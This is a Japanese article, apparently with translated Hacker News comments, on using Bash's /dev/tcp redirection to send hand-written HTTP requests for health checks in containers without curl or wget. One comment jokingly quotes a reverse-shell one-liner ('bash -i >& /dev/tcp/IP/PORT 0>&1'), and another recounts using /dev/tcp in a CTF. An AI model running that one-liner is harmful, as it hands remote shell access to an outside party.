- 最小構成のコンテナイメージでは curl や wget が入っていないことが多く、パッケージを追加せずに内部サービスへの接続性を確認する迂回手段が役立つ
- Bash の
/dev/tcp/host/port リダイレクトは TCP ソケットを開けるため、HTTP/1.1 のリクエスト文字列を直接書き込んで送り、レスポンスを読める
/dev/tcp はファイルシステム上のパスではなく Bash の内部機能なので、ls /dev/tcp や他のシェルでの通常のファイルアクセス方法では動作しない
- この方法はリダイレクト、chunked レスポンス、圧縮、リトライ、TLS を処理しない シンプルなデバッグ手法であり、
Connection: close がないと cat が待ち続けることがある
- 日常的な HTTP 作業には curl が適しているが、ツールを追加しにくい 小さなコンテナでは素早い接続確認に十分役立つ
Bash ファイルディスクリプタで HTTP リクエストを書く
- 内部 Docker ネットワークで別サービスの
/health エンドポイントにアクセスできるか確認する必要があったが、イメージに curl や wget がない状況だった
- Bash は TCP ソケットをファイルディスクリプタに接続できるため、次のように HTTP リクエストを直接書いて送れる
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service は実行場所から名前解決でき、到達可能なホスト名である必要がある
- Docker ネットワークに設定されたコンテナ名やサービス名を使える
- 名前解決可能な DNS 名も使える
- ホストとポートは環境に合わせて変更する必要がある
- レスポンス出力には ステータス行、ヘッダ、空行、本文が含まれる
- ヘッダを追加したい場合は、リクエストを終える空行の前に
\r\n で終わる行を追加すればよい
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
/dev/tcp が実際のファイルではない理由
/dev/tcp は実際のデバイスファイルではなく、Bash が処理するリダイレクトである
- ディスク上にそのパスは存在しないため、
ls /dev/tcp は失敗する
- 他のシェルで
cat /dev/tcp/... を実行してもエラーになる
- Bash manual によると、
/dev/tcp/host/port では host が有効なホスト名またはインターネットアドレスで、port が整数のポート番号またはサービス名なら、Bash が TCP ソケットを開こうとする
- Bash が DNS ルックアップと
connect(2) を実行し、exec 3<> はそのソケットをファイルディスクリプタ 3 に結び付けて、読み書きを可能にする
HTTP クライアントの代替ではなく一時的な確認ツール
- この方法は本物の HTTP クライアントではないため、リダイレクト、chunked レスポンス、圧縮、リトライ、TLS などは処理しない
Connection: close ヘッダが重要である
- これがないとサーバが HTTP/1.1 のデフォルトに従って接続を維持することがある
- その場合
cat <&3 は EOF を待って終了しない可能性がある
timeout 6 bash -c '...' のように包めば、接続が閉じられない状況にも備えられる
/dev/tcp は生のソケットを開く方式なので 平文 HTTP にしか使えず、https には openssl s_client が必要になる
- POSIX 機能ではなく Bash の機能なので、Debian の
/bin/sh である dash や zsh では使えず、bash を明示的に呼び出す必要がある
- Bash のビルド時に
--enable-net-redirections で有効化されるコンパイル時オプションである
- 要するに curl を置き換える汎用ツールというより、追加インストールできない 小さなコンテナで素早く接続性を確認する用途に向いている
1件のコメント
Hacker Newsのコメント
90年代末の子ども時代に、
telnetで80、25、110番ポートへ接続してサーバーと直接やり取りできると知って衝撃を受けた単純な
GET / HTTP/1.1リクエストを自分で打ち込んだり、25番ポートでHELO、mail-from、mail-toを使ってメールを送ったり、POP3でメールボックス一覧や個々のメッセージを取得できたりしたこの体験が「魔法なんてない」という気づきの始まりで、コンピューターのあらゆる部分は人間が作ったもので、努力すればある程度までは理解できるのだと知った
将来は大半をエージェントに任せることになるだろうが、モデルや安全装置のフィルターなしに実際の動作を学びたい人のために、さまざまなシステムには面白い抜け道が残る気がする
jacques.chirac@elysee.frのようなアドレスでメールを送って友人たちにハッカーっぽく見せることができた構造化されたテキストファイルを作り、送り、読み取るさまざまな方法の上に略語が大量に積み重なった構造だった
ある日、データベースですらテキストファイルなのだと気づいて、しばらく座り込んでしまった
telnetで POP3 と SMTP に接続して処理していたTLS も
telnetでは無理で、多くのサーバーは HTTP リクエストにはリダイレクトしか返さないtelnetの代わりにopenssl s_clientを使えば TLS の中にテキストをトンネリングすることはできるが、少し裏技っぽく感じる最近のプロトコルの多くがバイナリエンコーディングを好むため、専用ツールなしでは wire レベルで触りにくくなったのも残念だ
それでも将来もこういうものを掘り下げる人はいる気がするし、棒で火を起こしたり粘土レンガを焼いたりするような古い技術は楽しく、ときには実際に役立つ
むしろ AI のおかげで実験はしやすくなっていて、RFC を漁らなくても LLM に聞きながら、たとえば一般的な IMAP コマンドの大半を学べる
zshには Bash の/dev/tcpとは別にzsh/net/tcpとzsh/zftpモジュールがあるhttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
Plan 9 には実際の合成ファイルシステム
/netがあり、どんなプログラムからでもこうしたことやそれ以上のことができた別のマシンの
/netを 9P プロトコルでマウントすれば、その場しのぎの VPN のようにも使えたし、9front で Linux 上から試すこともできるGo ライブラリにも Plan 9 風の
/netの痕跡が見られるが、Rob Pike の遺産のように思えるexample.comではうまく動くexec 3<>/dev/tcp/example.com/80で開き、printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3を送ってからcat <&3するとHTTP/1.1 200 OKが返る最近は HTTPS を強制しないドメインがあまりに少ないので、こういうテストをすると結局 example.com に行き着く
example.comは便利だブラウザーで http://example.com に行けば、キャプティブポータルのページへ再リダイレクトされて、インターネット接続の手続きをやり直せる
printfの中に実際の改行を入れても動く\rは入っているのが正しいが、なくても一応動く友人のコンピューターと会話したいなら、みんな
bash -i >& /dev/tcp/IP/PORT 0>&1を使う、という冗談が言えるBashがHTTPを話すのではなく、TCPソケットを開けるようにしてくれるだけである
ここでやっているのはHTTPを自前で話しているということで、テストやデバッグ用途には問題ないし、手で試してみると面白いが、実運用の無人環境でこんな偽HTTPクライアントを使うと痛い目を見ることになる
このおもちゃコードはHTTPをきちんとパースできないので壊れやすい
もちろんBashで完全なHTTP/1.1クライアントを書くこともできるし、純粋なBash HTTPサーバーを作ることもできる: https://github.com/bahamas10/bash-web-server
より狂っていない選択肢としては普通
ncがあり、たいていはそちらの方が賢明であるBashは着信接続を受けるために TCP/UDPソケットをlisten できない
bash-web-serverプロジェクトはC製のソケットリスナーをビルドし、実行時に「組み込み」モジュールとして動的ロードして機能を提供している[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncや似たnetcat系ツールの方が良い選択だろうが、そのとき使っていたイメージにはそうしたツールが入っていなかったHTTP/1.1や必須の
Hostヘッダーが登場する前から、手でHTTPリクエストを入力してきた本気の用途に使うのは狂気だし、BashでWebサーバーを実装するのも同様だが、素早いテスト用としてはかなり良い
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
BauhiniaチームがCTFの問題を解くときにこれを使っているのを見て学んだ
複数段階にまたがるCTFで、最初はROPチェーンで
systemシェルを得るが、実質的にはBash以外ほとんど何も実行できない牢獄のような環境だった使えるのは
readとcatくらいだったので、cat /dev/tcpを使ってからそれを 仮想端末 にリダイレクトし、その内容を読んで内部システムのURLを得てフラグを見つけた内部 Dockerネットワーク でコンテナ間接続を確認していたとき、イメージに
curlもwgetもなくてこの方法を見つけた驚いたのは、Bashに
/dev/tcpがあって、ちょっとしたシェルの魔法でHTTPリクエストもどきが作れることだったたとえば
exec 3<>/dev/tcp/service/8642で開き、printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3を送ってからcat <&3すればよいここで
serviceは接続先ホスト名で、8642はHTTPとして話しかけたいポートである思いつくデメリットはなく、運用用イメージでもほぼ必須だと思う
昔のDebianとDebian派生ディストリビューションではこの機能は動作しなかった。仮想ファイル経由の TCPアクセス がデフォルトで無効化されていたためである
理解している限りでは、2009年に方針が変わって機能が有効化され、Bug #146464 に議論とリンクがある
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
シェルツールでネットワーク機能に直接アクセスする方法はこれ以外にも、
curl、wget、PerlのHEADとGETコマンド、netcat/nc、socat、telnetなどいろいろある10代のころ、他人の
/dev/pttyに不気味なメッセージをechoで送りつけて驚かせていたのを思い出す自分が送ったメッセージが相手の開いている端末に魔法のように現れた
コンピュータ室でクライアントごとに別アカウントを使わせ、ロックもさせていなかった理由はいまだに分からないし、当時の VAXの限界 だったのかもしれない